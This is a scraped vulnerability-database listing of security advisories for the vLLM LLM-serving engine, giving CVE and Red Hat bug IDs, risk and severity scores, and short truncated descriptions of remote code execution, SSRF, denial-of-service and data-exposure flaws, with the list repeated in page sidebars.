Latest vulnerabilities for "vllm"

vllmvLLM: Remote DoS in vLLM via Invalid Recovered Token Reinjection

Risk 43

Severity

7.5

First published (updated )

CVE-2026-54234

vllmvLLM is an inference and serving engine for large language models (LLMs). From 0.3.0 until 0.22.0, a…

Risk 33

Severity

7

First published (updated )

REDHAT-BUG-2491581

vllmvLLM versions >= 0.10.2 and < 0.13.0 are missing sparse tensor validation in multimodal embeddings p…

Risk 33

Severity

7

First published (updated )

REDHAT-BUG-2491060

vllmvLLM is an inference and serving engine for large language models (LLMs). From 0.1.0 to before 0.19.…

Risk 33

Severity

7

First published (updated )

REDHAT-BUG-2455425

vllmvLLM is an inference and serving engine for large language models (LLMs). From 0.7.0 to before 0.19.…

Risk 33

Severity

7

First published (updated )

REDHAT-BUG-2455403

vllmvLLM is an inference and serving engine for large language models (LLMs). Starting in version 0.10.1…

Risk 33

Severity

7

First published (updated )

REDHAT-BUG-2452055

vllmSSRF

Risk 33

Severity

7

First published (updated )

REDHAT-BUG-2445892

vllmvLLM is an inference and serving engine for large language models (LLMs). From 0.8.3 to before 0.14.…

Risk 77

First published (updated )

REDHAT-BUG-2436113

vllmSSRF

Risk 33

Severity

7

First published (updated )

REDHAT-BUG-2433624

vllmvLLM vulnerable to Server-Side Request Forgery (SSRF) in `MediaConnector`

Risk 35

Severity

7.1

EPSS

0.01%

First published (updated )

CVE-2026-24779

vllmvLLM is an inference and serving engine for large language models (LLMs). Starting in version 0.10.1…

Risk 33

Severity

7

First published (updated )

REDHAT-BUG-2431865

vllmvLLM is vulnerable to DoS in Idefics3 vision models via image payload with ambiguous dimensions

Risk 31

Severity

7.5

EPSS

0.05%

First published (updated )

CVE-2026-22773

vllm vllmvLLM Allows Remote Code Execution via PyNcclPipe Communication Service

Risk 61

Severity

9.8

EPSS

0.06%

First published (updated )

CVE-2025-47277

pip/vllmvLLM phi4mm: Quadratic Time Complexity in Input Token Processing leads to denial of service

Risk 31

Severity

7.5

EPSS

0.04%

First published (updated )

CVE-2025-46560

vllm vllmvLLM Vulnerable to Remote Code Execution via Mooncake Integration

Risk 87

Severity

10

First published (updated )

CVE-2025-32444

pip/vllmData exposure via ZeroMQ on multi-node vLLM deployment

Risk 43

Severity

7.5

First published (updated )

CVE-2025-30202

vllm-project vllmDenial of Service in vllm-project/vllm

Risk 35

Severity

7.5

First published (updated )

CVE-2024-11040

vllm-project vllmRemote Code Execution in vllm-project/vllm

Risk 86

Severity

9.8

First published (updated )

CVE-2024-11041

vllm-project vllmRemote Code Execution in vllm-project/vllm

Risk 86

Severity

9.8

First published (updated )

CVE-2024-9053

vllm-project vllmRemote Code Execution by Pickle Deserialization in vllm-project/vllm

Risk 86

Severity

9.8

First published (updated )

CVE-2024-9052

vllm AIBrixvLLM AIBrix Prefix Caching hash.go random values

Risk 15

Severity

2.6

First published (updated )

CVE-2025-1953

vllm vllmvLLM allows a malicious model RCE by torch.load in hf_model_weights_iterator

Risk 56

Severity

8.8

EPSS

0.04%

First published (updated )

CVE-2025-24357

vllm vllmA completions API request with an empty prompt will crash the vllm API server. The impact is limite…

Risk 33

Severity

7

First published (updated )

REDHAT-BUG-2311895

Trending

Versions

vllmvLLM: Remote DoS in vLLM via Invalid Recovered Token Reinjection

vllmvLLM is an inference and serving engine for large language models (LLMs). From 0.3.0 until 0.22.0, a…

vllmvLLM versions >= 0.10.2 and < 0.13.0 are missing sparse tensor validation in multimodal embeddings p…

vllmvLLM is an inference and serving engine for large language models (LLMs). From 0.1.0 to before 0.19.…

vllmvLLM is an inference and serving engine for large language models (LLMs). From 0.7.0 to before 0.19.…

Don't miss critical vulnerabilities

vllmvLLM is an inference and serving engine for large language models (LLMs). Starting in version 0.10.1…

vllmSSRF

vllmvLLM is an inference and serving engine for large language models (LLMs). From 0.8.3 to before 0.14.…

vllmSSRF

vllmvLLM vulnerable to Server-Side Request Forgery (SSRF) in `MediaConnector`

Don't miss critical vulnerabilities

vllmvLLM is an inference and serving engine for large language models (LLMs). Starting in version 0.10.1…

vllmvLLM is vulnerable to DoS in Idefics3 vision models via image payload with ambiguous dimensions

vllm vllmvLLM Allows Remote Code Execution via PyNcclPipe Communication Service

pip/vllmvLLM phi4mm: Quadratic Time Complexity in Input Token Processing leads to denial of service

vllm vllmvLLM Vulnerable to Remote Code Execution via Mooncake Integration

Don't miss critical vulnerabilities

pip/vllmData exposure via ZeroMQ on multi-node vLLM deployment

vllm-project vllmDenial of Service in vllm-project/vllm

vllm-project vllmRemote Code Execution in vllm-project/vllm

vllm-project vllmRemote Code Execution in vllm-project/vllm

vllm-project vllmRemote Code Execution by Pickle Deserialization in vllm-project/vllm

Don't miss critical vulnerabilities

vllm AIBrixvLLM AIBrix Prefix Caching hash.go random values

vllm vllmvLLM allows a malicious model RCE by torch.load in hf_model_weights_iterator

vllm vllmA completions API request with an empty prompt will crash the vllm API server. The impact is limite…

Company

Resources

Contact

Trending

Versions

vllmvLLM: Remote DoS in vLLM via Invalid Recovered Token Reinjection

vllmvLLM is an inference and serving engine for large language models (LLMs). From 0.3.0 until 0.22.0, a…

vllmvLLM versions >= 0.10.2 and < 0.13.0 are missing sparse tensor validation in multimodal embeddings p…

vllmvLLM is an inference and serving engine for large language models (LLMs). From 0.1.0 to before 0.19.…

vllmvLLM is an inference and serving engine for large language models (LLMs). From 0.7.0 to before 0.19.…

Don't miss critical vulnerabilities

vllmvLLM is an inference and serving engine for large language models (LLMs). Starting in version 0.10.1…

vllmSSRF

vllmvLLM is an inference and serving engine for large language models (LLMs). From 0.8.3 to before 0.14.…

vllmSSRF

vllmvLLM vulnerable to Server-Side Request Forgery (SSRF) in `MediaConnector`

Don't miss critical vulnerabilities

vllmvLLM is an inference and serving engine for large language models (LLMs). Starting in version 0.10.1…

vllmvLLM is vulnerable to DoS in Idefics3 vision models via image payload with ambiguous dimensions

vllm vllmvLLM Allows Remote Code Execution via PyNcclPipe Communication Service

pip/vllmvLLM phi4mm: Quadratic Time Complexity in Input Token Processing​ leads to denial of service

vllm vllmvLLM Vulnerable to Remote Code Execution via Mooncake Integration

Don't miss critical vulnerabilities

pip/vllmData exposure via ZeroMQ on multi-node vLLM deployment

vllm-project vllmDenial of Service in vllm-project/vllm

vllm-project vllmRemote Code Execution in vllm-project/vllm

vllm-project vllmRemote Code Execution in vllm-project/vllm

vllm-project vllmRemote Code Execution by Pickle Deserialization in vllm-project/vllm

Don't miss critical vulnerabilities

vllm AIBrixvLLM AIBrix Prefix Caching hash.go random values

vllm vllmvLLM allows a malicious model RCE by torch.load in hf_model_weights_iterator

vllm vllmA completions API request with an empty prompt will crash the vllm API server. The impact is limite…

Company

Resources

Contact

pip/vllmvLLM phi4mm: Quadratic Time Complexity in Input Token Processing leads to denial of service